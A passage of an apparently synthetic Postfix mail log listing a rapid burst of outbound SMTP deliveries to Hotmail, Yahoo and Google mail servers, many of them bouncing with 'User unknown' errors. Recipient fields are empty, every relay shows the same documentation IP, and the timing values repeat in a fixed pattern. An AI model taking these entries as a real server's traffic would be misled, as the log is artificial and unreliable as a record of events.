relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:11 postfix/smtp[9763]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:12 postfix/smtp[5559]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:12 postfix/smtp[6623]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:12 postfix/smtp[6696]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:12 postfix/smtp[7765]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:13 postfix/smtp[5476]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:13 postfix/smtp[6266]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:13 postfix/smtp[7267]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:13 postfix/smtp[9695]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:15 postfix/smtp[5288]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:15 postfix/smtp[5532]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:15 postfix/smtp[5683]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:15 postfix/smtp[5812]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:15 systemd[1]: Starting daily clean up activities... +Aug 15 10:06:15 web-app[2484]: GET /api/v1/user/19 status=200 OK +Aug 15 10:06:16 postfix/smtp[5718]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:16 postfix/smtp[6525]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:16 postfix/smtp[9563]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:16 postfix/smtp[9593]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:17 postfix/smtp[5008]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:17 postfix/smtp[6883]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:17 postfix/smtp[9117]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:17 postfix/smtp[9704]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:18 postfix/smtp[7295]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:18 postfix/smtp[8064]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:20 postfix/smtp[6095]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:20 postfix/smtp[7340]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:20 postfix/smtp[8864]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:22 postfix/smtp[5170]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:22 postfix/smtp[5824]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:22 postfix/smtp[7481]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:25 postfix/smtp[5606]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:25 postfix/smtp[5994]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:25 postfix/smtp[8819]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:25 postfix/smtp[8875]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:26 postfix/smtp[5670]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:26 postfix/smtp[7917]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:26 postfix/smtp[8599]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:26 postfix/smtp[9449]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:26 postfix/smtp[9535]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:27 postfix/smtp[5279]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:27 postfix/smtp[5717]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:27 postfix/smtp[6312]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:28 postfix/smtp[5060]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:28 postfix/smtp[9226]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:30 postfix/smtp[5190]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:30 postfix/smtp[5704]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:30 postfix/smtp[7135]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:30 postfix/smtp[8850]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:32 postfix/smtp[5533]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:32 postfix/smtp[5578]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:32 postfix/smtp[5691]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:32 postfix/smtp[6983]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:32 postfix/smtp[7038]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:32 postfix/smtp[8022]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:32 postfix/smtp[9395]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:33 postfix/smtp[5253]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:33 postfix/smtp[5669]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:33 postfix/smtp[8972]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:36 postfix/smtp[5945]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:36 postfix/smtp[6854]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:36 postfix/smtp[7035]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:36 postfix/smtp[7647]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:37 postfix/smtp[9063]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:38 postfix/smtp[5444]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:38 postfix/smtp[5823]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:38 postfix/smtp[8665]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:38 postfix/smtp[8854]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:40 postfix/smtp[8324]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:41 postfix/smtp[5215]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:41 postfix/smtp[5275]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:41 postfix/smtp[6073]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:41 postfix/smtp[7145]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:41 postfix/smtp[8125]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:43 postfix/smtp[6970]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:43 postfix/smtp[8771]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:45 postfix/smtp[6948]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:45 postfix/smtp[9292]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:46 postfix/smtp[7726]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:47 postfix/smtp[5460]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:47 postfix/smtp[9933]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:48 postfix/smtp[5265]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:48 postfix/smtp[5646]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:48 postfix/smtp[9122]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:50 postfix/smtp[5025]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:50 postfix/smtp[6808]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:50 postfix/smtp[7168]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:50 postfix/smtp[7553]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:50 postfix/smtp[8096]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:51 postfix/smtp[6265]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:51 postfix/smtp[6675]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:51 postfix/smtp[6998]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:51 postfix/smtp[8117]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:52 postfix/smtp[5116]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:52 postfix/smtp[6126]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:52 postfix/smtp[6970]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:53 postfix/smtp[9463]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:55 postfix/smtp[5390]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:55 postfix/smtp[5856]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:55 postfix/smtp[6440]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:55 postfix/smtp[9283]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:56 postfix/smtp[6298]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:57 postfix/smtp[5138]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:58 postfix/smtp[5906]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:58 postfix/smtp[9720]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:58 postfix/smtp[9809]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:01 postfix/smtp[5770]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:01 postfix/smtp[5787]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:01 postfix/smtp[6028]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:01 postfix/smtp[6316]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:01 postfix/smtp[8509]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:01 postfix/smtp[9032]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:02 postfix/smtp[5496]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:02 postfix/smtp[9200]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:03 postfix/smtp[5474]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:03 postfix/smtp[5937]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:03 postfix/smtp[6412]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:03 postfix/smtp[6815]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:07:03 postfix/smtp[8032]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:07:05 postfix/smtp[5093]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:07:05 postfix/smtp[5821]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:07:05 postfix/smtp[7151]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:05 postfix/smtp[9239]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:05 postfix/smtp[9899]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:06 postfix/smtp[5889]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:07:06 postfix/smtp[6220]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:07:06 postfix/smtp[9797]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:10 postfix/smtp[8829]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:11 postfix/smtp[5057]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:11 postfix/smtp[9010]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:12 postfix/smtp[5450]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:12 postfix/smtp[7063]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:07:12 postfix/smtp[8654]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:07:12 postfix/smtp[9170]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:13 postfix/smtp[8712]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, 